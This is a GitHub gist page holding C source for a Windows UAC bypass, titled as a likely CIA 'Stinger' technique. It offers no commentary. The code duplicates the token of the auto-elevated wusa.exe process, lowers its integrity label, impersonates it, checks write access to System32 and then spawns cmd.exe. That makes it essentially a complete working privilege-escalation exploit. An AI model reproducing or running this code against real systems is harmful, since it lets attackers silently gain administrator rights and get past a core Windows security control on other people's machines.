Forked from hfiref0x/gist:59c689a14f1fc2302d858ae0aa3f6b86
Created
January 30, 2020 17:39
-
-
Save aaaddress1/a9f3fec5e382a6e471c45f191da36021 to your computer and use it in GitHub Desktop.
CIA Stinger UAC bypass (likely)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DWORD Error, bytesIO; | |
NTSTATUS Status; | |
HANDLE hProcessToken = NULL, hNewToken = NULL, hTest; | |
BOOL bCond = FALSE; | |
SHELLEXECUTEINFO shinfo; | |
SID_IDENTIFIER_AUTHORITY MLAuthority = SECURITY_MANDATORY_LABEL_AUTHORITY; | |
TOKEN_MANDATORY_LABEL tml, *ptml; | |
PSID pIntegritySid = NULL; | |
STARTUPINFO si; | |
PROCESS_INFORMATION pi; | |
WCHAR szBuffer[MAX_PATH]; | |
RtlSecureZeroMemory(&shinfo, sizeof(shinfo)); | |
do { | |
hTest = CreateFile(L"C:\\windows\\system32\\test.txt", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, 0, NULL); | |
if (hTest != INVALID_HANDLE_VALUE) { | |
CloseHandle(hTest); | |
} | |
else { | |
MessageBox(GetDesktopWindow(), L"Access denied", NULL, MB_OK); | |
} | |
shinfo.cbSize = sizeof(shinfo); | |
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; | |
shinfo.lpFile = L"wusa.exe"; | |
shinfo.nShow = SW_SHOW; | |
if (!ShellExecuteEx(&shinfo)) | |
break; | |
if (!OpenProcessToken(shinfo.hProcess, MAXIMUM_ALLOWED, &hProcessToken)) | |
break; | |
if (!DuplicateTokenEx(hProcessToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hNewToken)) | |
break; | |
if (!AllocateAndInitializeSid(&MLAuthority, 1, SECURITY_MANDATORY_MEDIUM_RID, | |
0, 0, 0, 0, 0, 0, 0, &pIntegritySid)) | |
{ | |
break; | |
} | |
tml.Label.Attributes = SE_GROUP_INTEGRITY; | |
tml.Label.Sid = pIntegritySid; | |
Status = NtSetInformationToken(hNewToken, TokenIntegrityLevel, &tml, | |
sizeof(TOKEN_MANDATORY_LABEL) + RtlLengthSid(pIntegritySid)); | |
if (!NT_SUCCESS(Status)) | |
break; | |
if (!ImpersonateLoggedOnUser(hNewToken)) | |
break; | |
hTest = CreateFile(L"C:\\windows\\system32\\test.txt", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, 0, NULL); | |
if (hTest != INVALID_HANDLE_VALUE) { | |
MessageBox(GetDesktopWindow(), L"Hit", NULL, MB_OK); | |
CloseHandle(hTest); | |
RtlSecureZeroMemory(&si, sizeof(si)); | |
si.cb = sizeof(si); | |
si.dwFlags = STARTF_USESHOWWINDOW; | |
si.wShowWindow = SW_SHOW; | |
_strcpy(szBuffer, L"cmd.exe"); | |
CreateProcessWithLogonW(L"test", L"test", L"test", LOGON_NETCREDENTIALS_ONLY, szBuffer, NULL, 0, NULL, NULL, &si, &pi); | |
} | |
} while (bCond); | |
if (shinfo.hProcess) CloseHandle(shinfo.hProcess); | |
if (hProcessToken) CloseHandle(hProcessToken); | |
if (hNewToken) CloseHandle(hNewToken); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment